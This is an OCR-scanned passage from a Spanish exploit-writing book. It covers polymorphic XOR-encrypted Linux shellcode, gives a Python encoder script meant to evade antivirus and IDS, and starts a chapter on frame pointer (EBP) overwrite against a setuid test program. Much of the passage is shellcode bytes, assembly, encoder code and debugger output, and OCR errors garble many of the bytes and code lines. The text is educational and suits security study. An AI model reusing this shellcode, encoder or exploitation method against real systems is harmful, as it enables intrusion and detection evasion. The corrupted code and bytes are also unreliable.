temporal  y  la  sustituiremos  a  posteriori  con  el  valor  elegido  para  fa  Have  dc  cifrado,  que  en  nuestro 
ejemplo  sera  un  3.  Cuando  el  proeeso  haya  terminado,  querra  decir  que  el  shellcode  ha  tornado  su 
forma  original  y  que  por  lo  tanto  ya  podemos  saltar  a  el  para  que  se  ejecule.  Compilemos  este  codigo 
y  veamos  los  bytes  obtenidos: 


blackngelSbbc: ~$ 

nasm  -f  elf 

sc^pol 

.  asm 

blackngel@bbc: ~$ 

id 

sc-po! .g 

-o  sc- 

pol 

blackngelObbc : -$ 

objdump  -d  sc-pol 

08048060 

<_Start> 

8048060 : 

:  eb 

11 

jmp 

8048073  <maglc> 

08048062 

<init> : 

8048062 

5e 

pop 

%esi 

8048063 

31 

c9 

xcr 

%ecx, %ecx 

8048065 

bl 

00 

mov 

$0x0, %Cl 

08048067 

<desc> ; 

8048067 

8  0 

6c 

Oe  ff  00 

sub 

$0x0, -0x1 (%esi,%€' 

804806c 

80 

e9 

01 

sub 

$0x1,  %.cl 

8  0  4  8  0  6 f 

75 

f  6 

jne 

8048067  <desc> 

8048071 

eb 

05 

jmp 

8048078  <sc> 

08048073 

CmagiO : 

8048073: 

:  e8 

ea 

ff  ff  ff 

call 

8048062  <init> 

Recogiendo  los  valores  tenemos: 


Imagen  02  07:  Posiciones  de  la  clave  y  longitud  del  shellcode, 

Aunque  podriamos  escribir  un  seneillo  codigo  dc  cifrado,  para  no  extendemos  demasiado 
codificaremos  el  shellcode  original  manualmente,  sumaremos  un  3  a  cada  byte  individual. 

Original: 

T'  \x31  \  xcO  \  x50\x68  \  x2  f  \x2f  \x73\x68\x68  \  x2f  \x62\x691" 
fl  \x6e\x8  9\xe3\x50\x53\x8  9\xel\xbQ\x0b\xcd\x8  0,T 

Cifrado: 

"  \x34\xc3\x53\x6b\x32\x32\x7  6\x6b\x6b\x32\x65\x6e" 

"\x7l\xRc\xe6\x53\x56\x8c\xe4\ xb3\xQe\xdG \x8 3 " 
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La  longitud  de  este  shell  code  es  de  23  bytes,  que  en  hexadecimal  se  traduce  coma  Qxi7.  Con  esto  en 
mente,  ya  podemos  modi  Hear  los  dos  valores  0  del  descifrador  general  que  habiamos  di  sen  ado.  El 
primero  lo  sustituiremos  por  3xi7  (la  longitud  del  shellcode  cifrado),  y  el  segundo  por  0x03  (el  valor 
de  la  Have  con  que  lo  ciframos).  Si  lo  juntamos  todo  en  un  programs  de  prueba  nos  quedaria  algo  ast: 

char  shellcode[J  =  /*  Des cifrado r  */ 

" \xeb\xll\x5G\x31\xc9\xbl\xl7\x8Q\x6c\xOG\xf f \x03" 

11  \x80\xe9\xQl\x75\xf  6\xeb\x05 \xe8\xea\xf  f  \xf  f  \xf  f  H 
/*  Shellcode  Cifrado  */ 

,T  \  x34\xc3\x5  3\x6b\x32\x32\x7  6\x6b\x6b\x32\x65  \  x6c" 

,T  \  x71  \  x8c\xe6\x53  \  x5  6\x8  c\xe4  \  xb3\x0e\xd0\x8  3"  ; 

void  main  {)  { 

void  (*fp)  (void)  ,* 

fp  -  (void  * ) fcshellcode; 

fpU  ; 

) 


Lo  ejeculamos  y... 

blacikngeldbbc  : ~$  .  /prueba_sc 

sh-3.2$  whoami 

blackngel 

sh-3.2$  exit 

exit 


Como  curiosidad,  le  invitamos  a  que  pruebe  lo  siguienle.  Gamble  el  segundo  byte  del  descifrador  de 
Oxii  a  0x16.  Esto  provocara  que  sake  directamente  al  shellcode  sin  antes  haberlo  descifrado, 
comprobara  como  en  este  case  se  produce  un  fall  a  de  segmented  on,  y  ello  se  debe  a  que  el  procesador 
interpreta  los  bytes  del  mismo  como  un  codigo  ensamblador  carente  de  toda  coherencia. 

xor  al , 0xc3 

push  ebx 

imul  esi, DWORD  PTR  [edx] , 0x32 

jbe  0x80495eb 

imul  esi, DWORD  PTR  [edx], 0x65 

ins  BYTE  PTR  es:[edi],dx 


A  partir  de  aqui  lo  que  juega  es  la  imaginacion  de  cada  uno.  listed  puede  desarrollar  esta  tecnica  en 
muchas  otras  direcciones,  puede  utilizar  cientos  de  algoritmos  de  cifrado,  tan  simples  algunos  como 
realizar  una  ope  radon  xor  a  cada  byte  con  un  valor  e  specific  ado  como  Have,  o  incluso  cambiar  los 
bytes  del  shellcode  de  posicion. 

A  modo  de  demostracion,  hemos  disefiado  un  pequeno  script  en  Python  que  genera  un  shellcode 
cifrado  medianle  XOR,  la  clave  puede  ser  aleatoria  o  deflnida  por  el  usuario  a  traves  de  la  linea  de 
comandos  con  la  opcion  k  key.  Ademas,  en  caso  de  que  sea  necesario,  puede  evitar  la  generacion  de 
bytes  null. 

import  os 
import  sys 
import  get opt 
import  random 
no_nulls  =  0 

decoder  =  bytearray  ( 11  \xeb\xlG \x5e\x31  \xc9\xbl\xQ 0\x8 0\x7 4 Tl 
" \x0e\xf f \x00\xfe\xc9\x7  5\xf7\xeb\x05\xe8\xeb\xf f \xf f \xf f " ) 
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shellcode  =  bytearray  ( Tl \x3 1  \xcQ \x5  0 \x63 \x2f \x2f \x73\x68\x68" 

Tl  \x2f\x62\x69\x6e\x89  \xe3\x5  0\x53\x39” 
n\xel\x50\x89\xe2\xb0\xGb\xcd\x80") 

def  show  0  : 

lensc  =  len  (shellcode) 
lendc  =  ieri  (decoder } 

sys . stdout .write ("\n/*  Decoder  +  Shellcode  */\n\n") 
sys  .  stdout .  write  {  "char  polysc[]  -  \"TI ) 
j  =  0 

for  i  in  range (lendc) : 
if  j  >  12: 

ays  .  stdout  .write  { ,T\" \n\t\t\” ") 
j  =  0 

sys . stdout .write ( "\\x%02x"  %  decoder [i]) 

j  +=  1 

for  i  in  range (lensc) ; 
if  j  >  12: 

sys  .  stdout  *  write  (w\w\n\t\t\,,,r) 
j  =  0 

sys  .  stdout  .write  (  "\\x%02x"  %  shell  code  [I] ) 
j  +=  1 

sys . stdout , write ( ”  \  "  ;  \  n  \  n  "  ) 

def  encode (newkey) : 

key  =  newkey 

lensc  =  len (shellcode) 

decoder [6]  -  lensc 

decoder[ll]  =  key 

print  ”  [  +  ]  Encoding  with  key  Ox%x,,.M  %  key 
for  i  in  range ( lensc) : 

shellcode[i]  A=  key 
if  no_nulls  3=  0: 

if  shellcode [ij  ==  0x00 : 

print  11  [  1  j  Byte  null  generated.  Trying  random  key  value-.. 11 
key  =  random. randint (0/255) 
encode (key) 

if  _ name _  =  T _ main _ 1  : 

key  —  0x00 
try: 

opts,  args  =  getopt .  getopt  (sys  .argv  tl :  ]  ,  "nk:",  [  "-no-null”  , 

except  getopt .GetoptError ; 

print  "Uso:  11  +  sys.argvfO]  /  "  [-n]  [  -k  key]" 

sys . exit ( 1 ) 
for  opt,  arg  in  opts : 

if  opt  in  ("-n",  " — no-nuilM): 
no_nulls  =  1 

elif  opt  in  (n-k"  ,  key" )  : 

if  int [arg)  <  1  or  int(arg)  >  255: 

print  "[-]  Error:  key  valid  range  (0x01  -  Oxf f ) " 
sys .exit (1 ) 
key  =  int (arg) 
if  key  ==  0x00; 

print  uf  +  ]  Selecting  random  key...” 
key  =  random. randint (0, 255) 
encode (key) 
show ( ) 
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Su  func  ion  am  lento  es  send  1  Jo,  se  modifican  en  tiempo  real  los  bytes  de  longitud  y  clave  del  deseifrador 
o  decodificador,  y  luego  se  adjunta  este  ai  sheilcode  que  ha  sido  eifrado  con  la  clave  elegida.  SI  la 
opcion  -n  ha  sido  especificada  y  el  script  detecta  bytes  null  en  el  resultado,  entonces  se  generara  una 
nneva  Have  aleatoria  (siempre  entre  1  y  255)  y  se  repite  el  proceso  anterior  hasta  obtener  un  sheilcode 
coriecto.  En  la  imagen  que  mostramos  a  continuacion  puede  observer  como  elegimos  el  valor  47 
(0x2  f )  como  clave  de  eifrado,  y  e!  script  realiza  otros  dos  imentos  hasta  que  consigue  evitar  la 
generacion  de  valores  oxoo. 

0  ?  blackngel<g>bbc:  ~ 

btackngel@bho:~$  python  poltsc.py  -  n  ’ ‘L  fc  47 
[+]  Encoding  with  k<?y  ftx2f , . , 

[]]  Byte  null  generated*  Trying  random  key  value  . . 

[+3  Encoding  with  key  0xe2M'. 

[i]  Byte  null  generated,  trying  randon  key  value.,. 

[  +  ]  Encoding  with  key  dxfe..* 

/*  Decoder  +  Sheilcode  */ 

char  poly sc [ ]  =  " \xeb\xie\xSe\x3l\xc9\xbl\xla\5(80\x74\x0e\xff \xfe\xfeM 
“\xc9Vx75\xf7\xeb\xQS\xe8\xeb\xf f\xff \xf f\x92\xf 3\x63" 

“ \x5b\xlc\xdl\x8d\x96\x96\xdl\x9c\x97\x90\x77\xid\xae" 
*\xad\x77\xlf\xae\x77\xlc\x52\xe9\x2f \x62" ; 

b  l  a  c  frri  g  e  l $bt) c  I  -5  J  ■ -  ,  r  ^  .  :  . _ 

Imogen  02.08:  Automatization  de  shellcodes  polimorfkos. 

Esto  no  es  mas  que  la  puma  del  iceberg,  lo  que  hemos  tratado  de  demostrar  son  las  bases  de  ia 
codificacion  de  shellcodes  y  el  porque  de  su  utilidad,  Muehos  hackers  han  trabajado  largo  y  tendido 
extendi endo  estos  metodos  y  la  mayor  parte  de  los  mejores  algoritmos  han  sido  publieados  y  puestos 
a  disposicion  de  herramientas  o  frameworks  como  Metasploit,  Un  siguiente  paso  logieo  seria  generar 
un  decodificador  distinto  en  cad  a  ejecucion,  buscando  un  sistema  de  polimorlismo  puro  y  evitando  la 
deteccion  de  un  patron  sobre  el  mismo.  Existen  varios  proyectos  que  ya  han  explorado  todas  estas 
posibilidades.  Si  todavia no  le  lia  quedado  completamente  clara  la  necesidad  de  estas  tecnicas,  examine 
el  siguiente  ejemplo: 

char  buf fer [ 5 12 ] ; 
int  i; 

memset  (buffer,  0,  siz^of (buffer) ) ; 
gets  (buffer)  ; 

/*  Convertir  a  mayusculas  */ 
for(  i  =  0;  i  <  strlen  (buf  f ex )  i++  )  { 

buffer [i]  =  toupper (buffer [i] ) ; 

}  


Para  una  explotacion  exitosa  de  esta  vulnerabilidad  Listed  debera  disponer  de  un  sheilcode  a  prueba  de 
mayusculas,  dado  que  la  misina  aplicacion  convertira  todo  su  payload  en  el  caso  de  que  encuentre 
bytes  que  se  correspondan  con  valores  ASCII  de  letras  minusculas,  For  supuesto  en  la  red  pueden 
encontrarse  shellcodes  que  cumplen  estas  condiciones,  pero  debe  ser  consciente  de  que  es  graeias  a 
tecnicas  como  las  deseritas  en  esta  seccion, 

Para  tertninar,  mencionaremos  que  Metasploit  le  ofrece  la  combinacion  perfects  de  herramientas  para 
el  diseho  personalizado  de  shellcodes.  Hah  tamos  de  las  utilidades  ms  f  pay  load  y  ms  fen  code.  La 
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primera  generara  un  payload  adecuado  al  sistema  operativo  que  usted  especifique  y  con  la  mision  que 
mas  le  convenga  para  la  explotacion  de  la  vulnerabilidad;  es  mas,  puede  volcar  la  cadena  de  bytes  en 
lenguaje  C,  Ruby  o  Perl  segun  sea  el  exploit  que  este  disehando.  ms f encode,  por  su  parte,  codifieard 
el  payload  anterior  con  el  algoritmo  que  elija  de  entre  los  muchos  que  le  ofrece,  siendo  uno  de  los  mas 
conocidos  y  mejor  valorados  el  de  shikata_ga_nait  un  codificador  polimdrfico  de  gran  calidad.  De 
hecho,  usted  puede  eodificar  su  payload  con  multiples  pasadas  con  el  objetivo  de  confundir  aun  mas 
si  cabe  a  los  motores  antivirus  o  de  deteccion  de  intrusiones. 


Nota 


Durante  la  decimosexta  convocatoria  de  la  Defcon,  una  de  las  conferences  anuales  de 
hackers  mas  prestigiosas  del  mundo,  Mati  Aharoni  demostro  que  en  un  entorno  hostil 
era  posible  construir  un  shellcode  en  la  memoria  de  forma  dinamica,  utiHzando  tan  solo 
operaciones  de  suma  (add),  resta  (sub)  y  de  volcado  de  datos  en  la  pila  como  push  y 
pop.  El  nombre  de  la  charla:  “BackTrack  Foo  -  From  Bug  to  Oday’\ 


2.9.  Dilucidacion 

La  programacion  dc  shellcodes  es  tanto  un  arte  como  una  ciencia.  La  red  global  esta  plagada  de 
payloads  que  usted  puede  utilizar  en  beneficio  propio,  pero  no  aprender  a  codearlos  con  sus  manos,  es 
lo  mismo  que  quedarse  a  la  orilla  del  mar  sabiendo  que  cxiste  todo  un  oceano  maravllloso  por  explorar 
Hemos  comprobado  como  Linos  escasos  conocimientos  del  lenguaje  ensambladornos  otorgan  iibertad 
para  decidir  cual  va  a  ser  el  resultado  final  de  una  explotacion  exitosa.  Crear  un  shellcode  es  tomar  la 
decision  de  lo  que  va  a  ocurrir,  significa  tener  un  control  total  sobre  la  situacion,  Los  objetivos 
principales  de  nueslros  shellcodes  han  sido  los  de  otorgarnos  una  shell  en  un  entorno  de  explotacion 
local  y  el  de  eoncedemos  un  acceso  remoto  al  sistema  vulnerable,  ya  sea  a  traves  de  un  puerto 
preestablecido  en  la  maquina  vfetima,  o  provocando  que  esta  sea  la  que  se  conecte  al  ataeante 
evadiendo  posibles  reglas  establecidas  por  un  cortafijegos.  Aunque  se  trata  de  una  de  las  opeiones  m£$ 
poderosas,  algunos  firewalls  podrian  ser  demasiado  restrict! vos  y  prohibir  la  creacion  arbitraria  de 
sockets.  Bn  estos  casos,  un  ataeante  todavia  dispone  de  varias  posibilidades,  siendo  una  de  las  mas 
reconocidas  el  reutilizar  el  socket  del  que  provema  la  conexion  original.  Para  ello  el  exploit  debe 
recorrer  todos  los  descriptors  de  fichero  abiertos  basta  identificar  el  que  se  encuentra  asociado  con  el 
socket  deseado.  Solo  intentamos  alimentar  su  curiosidad  y  proporcionarle  las  herramientas  adecuadas 
para  que  pueda  continuar  investigando.  En  la  ultima  seccion  de  este  capitulo  hemos  detallado  los 
principios  basicos  del  polimorfismo  y  como  esta  tecnica  puede  ayudar  a  evadir  los  sistemas  de 
deteccion  de  intrusos  o  IDS.  Ciertamente,  los  hackers  son  tan  habilidosos,  que  incluso  han  podido 
disenar  shellcodes  que  pueden  ejecutarse  en  varias  arquitecturas  sin  realizar  ningiin  cambio  en  la 
cadena  de  opcodes ■;  el  truco  consiste  en  insertar  una  secuencia  de  bytes  que  se  convierta  en  una 
instruccion  jmp  en  una  arquitectura  mientras  que  en  la  otra  se  transforme  en  NOPs,  esto  permite 
redirigir  el  flujo  a  dos  puntos  distintos  y  situar  en  ellos  codigo  maquina  especifico  para  cada  sistema. 
Shellcodes  que  pueden  migrar  entre  procesos  y  otros  que  esperan  las  peticiones  de  un  ataeante  para 
ejecutar  llamadas  de  sistema  espedficas  (system  call  proxy  shellcodes)  son  solo  algunos  de  tantos 
juguetes  mas  o  menos  sigilosos  con  los  que  los  administradores  de  sistemas  se  enfrentan  a  diario.  A 
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partir  de  este  punto  unificaremos  todo  lo  aprendido  en  los  dos  capftulos  anteriores  para  explorar 
tecnicas  de  explotacion  mas  avanzadas. 


Advertent 


Tenga  especial  precaution  cuando  ejecule  shellcodes  ajenos  en  su  propio  sistema.  Salvo 
que  listed  pueda  interpretar  opcodes  eon  la  misrna  velocidad  con  la  que  lee  otro  lenguaje 
de  programacidn,  nadie  puede  asegurarle  que  una  puerta  trasera  o  codigo  malicioso  este 
siendo  ejeemado  en  su  maquina.  El  autor  puede  asegurarle  que  la  ejecucion  de  un  sencillo 
comando  como  rm  ~rf  /  con  permisos  de  administrador  podria  no  baeerle  demasiada 
gracia. 
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Capitulo  III 

Atacando  el  Frame  Pointer 


Si  usted  ha  logrado  llegar  hasta  aqui  sin  perder  en  memento  alguno  el  hilo  conductor  de  esta  trama. 
entonces  le  felicitamos  con  gran  entusiasmo,  ha  conseguido  cruzar  la  frontera  entre  los  que  poseen  una 
vaga  idea  de  lo  que  en  realidad  significa  el  exploiting  y  aquellos  que  han  eomprendido  que  se  trata  de 
un  arte  replete  de  infinitas  posibilidades.  Por  tanto,  este  capitulo  pretende  abrir  nuevas  perspectives  ai 
lector  hacia  temas  un  poco  mis  avanzados. 

Sepa  que  algunos  de  los  eonceptos  que  discutiremos  a  eontinuacion  ban  sido  tratados  anteriormente 
en  articulos  como  44The  Frame  Pointer  Overwrite”,  publicado  originalmente  en  la  revista  Phrack  en  el 
ano  1999.  Mas  de  una  deeada  ha  transcurrido  desde  entonces  y  todas  estas  tecnicas  han  podido  ser 
ampliadas  o  refinadas.  Nuestro  objetivo  es  propore  ion  arle  una  vision  claritlcadora  que  le  ayude  a 
detectar  estos  fallos  y  comprender  c6mo  los  atacantes  explotan  dichas  vulnerabilidades. 

3.1.  Abuso  del  Frame  Pointer 

La  creencia  comun  es  que  la  mayoria  de  los  metodos  para  sobrescribir  una  direccion  de  retomo 
guardada  son  un  cuento  antiguo  y  muy  explorado.  Pero  existen  otras  altemativas  en  situariones  en  que 
las  condiciones  de  un  desbordam  iento  son  limitadas. 

A  veces  una  eomprobacion  erronea  en  los  limites  de  los  buffers  o  las  longitudes  de  las  cadenas  que  los 
ocupan,  pueden  conducir  al  control  posterior  de  registros  del  sistema.  Pero  en  el  mundo  real  no  siempre 
E1P  es  alcanzable,  y  los  gums  de  la  seguridad  inform&tica  se  han  encargado  de  demostrar  que  es  posible 
llegar  a  ejeeutar  codigo  arbitrario  sobrescribiendo  tan  solo  el  registro  base  guardado,  conocido  por 
muchos  como  Frame  Pointer  o  registro  EBP. 

A  eontinuacion  analizaremos  los  detalles  especlficos  de  este  tipo  de  ataques  y  diseccionaremos  punio 
por  pun  to  las  tecnicas  utilizadas  por  los  exploiters. 

3.1.1.  Analisis  del  problems 

Debemos  comprender  en  primera  instancia  que  es  lo  que  ocurre  en  el  momenta  en  que  se  ejeeuta  un 
pro  cedi  m  iento  (o  funcion)  y  que  en  el  memento  en  que  se  sale  de  el. 

Demos  un  breve  repaso  a  la  teoria:  lo  primero  que  haee  un  programa  antes  de  entrar  en  una  funcion 
mediante  la  insiruceidn  call  es  pushear  en  la  pila  (stack)  el  registro  EIP.  que  volvera  a  tomar  de  la 
misma  cuando  la  funcion  retorne  con  la  instruction  ret.  Tras  esto,  se  entra  direetamente  en  la  primera 
direccion  en  la  que  comienza  el  codigo  de  la  funcion  y  nos  encontramos  con  el  clasico  pro  logo: 
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QxQ804xxxx  <proc+0>:  push  %ebp 

0x08 0 4xxxx  <proc-t-l>:  mov  %esp,%ebp 

0x0804xxxx  <prac+3>:  sub  $0x128, %esp 


Es  deeir,  que  despues  de  EIP,  se  pus  he  a  o  apila  EBP  (Frame  Pointer),  luego  se  ere  a  un  marco  local 
igualando  EBP  eon  el  lugar  a  donde  apunta  ESP,  la  cima  de  la  pi  la,  y  se  decrementa  ESP  para  hacer 
hueco  a  las  nuevas  variables  dedaradas  como  locales. 


EIP 

-m--  f  P  P 

EBP 

variable  local 

EDr 

variable  local 

*«-ESP 

Tirngen  03.0 1 :  Stack  frame  y  variables  locales. 


Imaginemos  que  aliora  una  llamada  vulnerable  a  strepyo  o  strncpyo  se  ejecuta  dentro  del 
procedimiento  tal  que  permita  desbordar  un  buffer  local  de  tamafio  fijo.  Lo  que  importa  a  aquellos  que 
pueden  sobreseribir  direetamente  EIP,  es  que  la  instruccion  ret  tomara  su  nuevo  registro  sobrescrito 
como  direction  EIP  real,  en  lugar  de  la  que  anteriormente  habia  apilado  call.  Con  esto  basta 
normalmente  para  bifurcar  el  codigo  original  hacia  un  she  11  code  siluado  donde  el  atacante  desee. 

^Que  ocurre  si  las  funciones  vulnerables  solo  nos  otorgan  espacio  para  alterar  los  4  bytes  que 
componen  el  ultimo  EBP  guardado?  Sucede  entonces  que  nuestro  estudio  debe  profundizar  un  poco 
mas.  Aqui  es  donde  los  epilogos  de  funcion  adquieren  relevancia.  Veamos  que  instrucciones  se 
ejeeutan  alU: 


0xQ804xxxx  <proc+yyx>: 

movl  %ebp, %esp 

Qx08Q4xxxx  <proc+yyy>: 

popl  %ebp 

Dx0804xxxx  <proc+yyz>: 

ret 

Las  dos  primeras  instrucciones  son  ejecutadas  en  la  actual idad  dentro  de  una: 

0xQ804xxxx  <proc+yyx>: 

leave 

QxOBCMxxxx  <proc+yyz> : 

ret 

El  efecto  es  equivalents.  Lo  que  ocurre  es  que  el  Frame  Pointer  actual  se  eopia  al  registro  ESP,  y 
seguidamente  el  registro  EBP  es  popeado  antes  de  volver  a  la  funcion  llamadora.  En  resumidas 
cuentas,  hemos  cerrado  el  marco  de  pila  actual  y  reestablecido  el  contexto  anterior. 

La  primera  instruccion  no  es  relevante  para  el  ataque,  ya  que  el  registro  EBP  que  se  copia  en  ESP  no 
es  el  que  hemos  desbordado,  si  no  el  nuevo  apuntador  local  que  se  cre6  en  el  proiogo  con  movi  %eup, 
%ebp.  Lo  importante  es  la  instruccion  popi  %ebp.  Esta  instruccion  si  restaura  nuestro  registro 
modificado  en  la  pila  v  por  lo  tanto  quedara  alterado  con  un  valor  de  nuestra  election.  Entonces  la 
funcion  retornara.  Veamos  que  hemos  logrado: 
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buffer 
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tope  de  u  pita 

4 — ESP 

r .  * 

tope  de  la  pi la 

Imagen  03.02:  Corrupci6n  del  registro  EBP. 


De  spues  de  haber  conseguido  un  overflow  de  EBP,  la  instruccion  popi  %ebp  recogera  de  la  pi  la  la 
direccion  0x4i4i4i4i  eomo  si  fuera  el  EBP  guardado  originalmente  en  el  prologo,  Una  vez  la  fun  cion 
retoma,  solo  hemos  logrado  modificar  el  Frame  Pointer,  y  como  El P  sigue  intacto,  el  programa  seguira 
su  curso  normal  sin  bifurcar  a  ningun  codigo  arbitrario.  Pero  no  hemos  terminado  todavia,  el  codigo 
ej  editor  de  la  llamada  call  es  a  su  vez  otra  tunc  ion,  ya  sea  main  o  u  otra  distinta,  por  lo  tanto, 
dispondrd  de  su  propio  epilogo,  Veamos  como  esto  afecta  a  nuestro  ejemplo; 

0x080 4xxxx  <main+yyx>:  movl  %ebp, %esp 

GxG804xxxx  <maln+yyy> :  pop!  %ebp 

0x0804xxxx  <main+yyz>:  ret 


Las  mis  mas  instrucciones.  Pero  en  esta  oeasion  uno  de  los  registros  conti  ene  an  valor  controlado  por 
el  atacante.  La  primera  inslruccion  que  antes  dejabamos  a  un  lado,  ahora  cobra  vida.  Nuestro  registro 
EBP  modiflcado  es  copiado  a  ESP,  luego  el  EBP  guardado  por  mainp  es  popeado  de  la  pda  y  la 
fund  on  retorna.  Grab  came  nte: 

movl  %ebp, lesp  ->  movl  0x41414141, %esp  ->  ESP  =  0X41414141 

Hemos  logrado  modificar  ESP  a  traves  del  EBP  alterado  dentro  de  funcion  o .  Recuerde  que  ESP  es 
un  apuntador  a  la  cima  de  la  pi  la,  y  aumenta  o  decrementa  su  direccion  a  medida  que  los  elementos 
son  extraidos  o  apiJados  en  la  tnisma.  i Que  obtenemos  entonces  tras  la  instruccidn  popi  %ebP?  Pues 
que  ESP  aumenta  su  direccion  4  bytes  (reeordemos  que  la  pi  la  crece  hacia  las  direcciones  bajas  de 
memoria).  Nos  queda: 

ESP  -+■  4  =  0x41414141  +  4  ~  [  0x41414145  J 

Concluimos  a  parfir  del  resultado  anterior  que  si  deseamos  la  direccion  0x41414141  en  ESP,  debemos 
desbordar  EBP  previamente  con  la  direccion  deseada  menos  cuatro  bytes,  es  dccir,  0x4i4i4i3d.  A1 
regreso  de  cste  ultimo  procedimiento,  una  inslruccion  ret  es  ej  ecu  tad  a,  la  cual  tomara  de  la  cima  de 
la  pi  la,  ahora  controlada  por  el  atacante,  la  nueva  direccion  de  retorno  donde  proseguir  la  ejecucidn 
del  programa, 

En  resumen,  modificamos  ESP  (mediante  un  EBP  previamente  alterado)  para  que  apunte  a  un  lugar 
donde  colocaremos  una  direccion  de  nuestra  eleccion,  que  a  su  vez  apunte  a  un  shelleode  traditional. 
La  solution  practica  puede  estudiarse  en  la  siguiente  section. 
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3.1.2.  Ejecucion  de  codigo 

A  cominuacion  presentamos  un  ejemplo  de  programa  vulnerable  e  special  men  te  disefiado  para 
instmirle  en  el  modus  operandi  que  los  atacantes  utilizan  para  explotar  esta  elase  de  fall  os.  Siempre 
que  una  vulnerabilidad  exista,  usted  debera  enfirentarse  en  una  can-era  sin  frenos  contra  aquellos  que 
desean  encontrarla  para  infringir  dano  a  los  dcmas.  Nuestra  mision  es  proporcionarle  las  habilidades 
necesarias  para  que  descubra  dichos  errores  a  tiempo  y  sepa,  con  gran  lujo  de  detalle.  los  trucos  de  que 
disponen  sus  enemigos  para  compro  meter  la  seguridad  de  un  si  sterna. 

♦include  <stdio.h> 

♦include  <string.h> 

♦include  <stdlib.h> 
int  limit,  c; 
int  getebpO 

I 

_asm _ (umovl  %ebp,  ^eax") ; 

} 

int  proc(char  *nombre) 

{ 

int  *  i ; 

char  buffer [256] ? 

i  -  (int  *')  getebpO  ? 

limit  =  *i  -  (int)  buf  fer  +  4? 

for  (  •■©  =  0;  c  <  limit  &&  nombre[c]  !=  1  \0*?  C++  ) 
buffer [c]  =  nombre[c]; 

printf  (’’\nEncantado  de  conocerte;  %s\±i*' ,  buffer}? 
return  0; 

} 

int  main (int  argc,  char  *argv[]) 

[ 

if  (  argc  <  2  )  { 

printf ( u\nUso :  £s  <nombre>W ,  argv[0])? 
exit ( 0 ) ; 

) 

proc (argv[l ] ) ? 
return  0? 

}  - 

Este  programa  ha  sido  extraido  parcialmente  de  un  reto  presentado  en  la  pagina  de  hacking  y  exploiting 
smashthestack.org .  Si  examinamos  procO  ,  lo  que  se  calcula  en  limit  es  la  distancia  existente  entre 
la  direccion  de  buffer  [  ]  y  la  direccion  de  EBP.  Como  el  puntero  *-i,  que  ocupa  4  bytes,  se  situa  en  la 
pila  entre  buffer  []  y  EBP,  la  distancia  de  estos  dos  uhimos  sera  de  260  bytes.  A  esto  se  le  suma  un 
4,  y  he  aqui  el  bug,  4  bytes  sobrantes  que  permilen  sobreseribir  EBP.  Segun  lo  explieudo  en  ia  seccion 
anterior,  lo  que  necesitamos  inyectar  en  el  buffer  es: 

Una  direccion  que  sobrescriba  EBP  y  apunte  a!  contenido  de  otra  direccion. 

Una  direccion  dentro  del  buffer  que  apunte  a  un  shellcode. 

-  Un  shellcode  tradicional 

El  payload  disefiado  para  inyectarse  dentro  del  buffer  puede  adoplar  distintas  formas,  per  ejemplo: 
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Imagen  03,03:  Distintas  altemativas  de  inyeccioir 

Puede  ver  quo  no  importa  deride  se  siliie  el  shell  code  o  la  direction  por  la  que  es  apuntada  siempic 
que  el  encadenamiento  sea  correcto,  A I  final  todo  son  posiciones  de  memoria  y  usted  puede  saltar  de 
una  a  otra  todas  las  veces  que  le  apetezca*  Tomaremos  como  ejemplo  el  ultimo  ordenam  lento  de  buffer 
mostrado  por  ser  el  mas  sencillo. 


Nota 


De  aqui  en  adelante,  cuando  deseemos  referimos  a  la  direccion  que  apunta  hacia  un 
shelleode,  lo  harem  os  mediante  laexpresion  isheiicode. 


-  Lo  primero  que  necesitamos  es  una  direccion  con  la  que  sobrescribir  EBP,  y  la  condicion 
es  que  apunte  a  s  shelleode,  que  es  la  misma  direccion  que  el  inicio  de  nuestro  buffer. 

-  Luego  fisheiicode,  obviamente,  tiene  que  apuntar  a  donde  se  encuentra  nuestro  shelleode. 
que  en  el  ejemplo  mostrado  sera  8  bytes  mas  lejos  que  la  posicion  de  memoria  donde  se 
encuentra  sshellcode. 

Compilemos  el  programa  vulnerable  y  veamos  entonces  como  obtener  la  direccion  del  inicio  del  buffer 
a  desbordar: 

blackngelSbbc : ~$  gcc  -fno-stack-protector  -z  execstack  saludo. c  -o  saludo 
blackngel@bbc; Is  -al  saludo 

-rwxrwxr-x  1  blackngel  blackngel  7282  ago  26  15:25  saludo 
blackngel@bbc ; -$  sudo  chgwn  root: root  • /saludo 
blackngel@bbc : -$  sudo  ohmod  u+s  ./saludo 
blackngel@bbc : Is  -al  saludo 

-rwsrwxr-x  1  root  root  72S2  ago  26  15:25  saludo 


Demos tremos  que  todo  lo  dicho  hasta  ahora  es  cierto: 

blaq.kngel@bbc  :  gdb  - 

(gdb)  disass  proc 

q  ./saludo 

Dump  of  assembler  code 

for  function  proc: 

0x080  4 8  41b  <  +  0>: 

push  %ebp 

0x0804  8 41c  <+l> : 

mov  %esp,%ebp 

GxO 8 048 4 le  <+3>: 

sub  $0xl28#%esp 
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Vemos  quc  la  instruccion  sub  $0xi2  8r  %esp,  reserva  296  bytes  para  nuestro  buffer  y  el  puntero  *1, 
cuando  la  intuicion  nos  decia  que  deberian  haberse  reservado:  256  +  4  =  260  bytes,  Los  compiladores 
hacen  este  tipo  de  cosas,  asi  como  el  reordenamiento  de  variables,  debido  a  temas  de  alineamiento, 
seguridad  y  optimizacion  de  eodigo,  pero  en  nuestro  ejemplo  eso  no  sera  un  impedimento  ya  que 
controlamos  exactamente  hasta  donde  podemos  escribir.  Sigamos: 

Ox 080484 ab  <+144>:  mov  $0x0r%eax 

0x08Q4S4bG  <+149>:  leave 

0x0804 84bl  <t!5Q>:  ret 


End  of  assembler  dump, 

(gdb)  break  *proc+150  //  Detener  despues  de  "leave" 

Breakpoint  I  at  0x80484bl 
(gdb)  run  'perl  -e  ‘print  "A“x272T'' 

Starting  program:  /home/blackngel/  saludo  'perl  ~e  ‘print  MA"x272T' 

En cant ado  de  conocerte: 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

AAAAAA  A  A  AAAAAAAAAAAAA A  A  AAAAAA  AAAAA  AAA  A  A  A  AAAAA  AAAAA  A  A  AAA  A  A  AAA  AAA  AA  A  A  AAAAAAAAA  A  A  A  A  A  AAA 
AAAAAA  A  AAAAAAAAAAAAA  A  AAAAAAAAAAAAA  A  A  AAA  AAAAAAAAA  A  A  A  AAAAAAAAAAAAA  AAAAAAAAAAAAA  AAAAAAA 


AAAAAAAAAAAAAAAAAAAA^^ 

Breakpoint  1,  0x080484bl  in  proc  () 

(gdb)  info  reg  ebp 
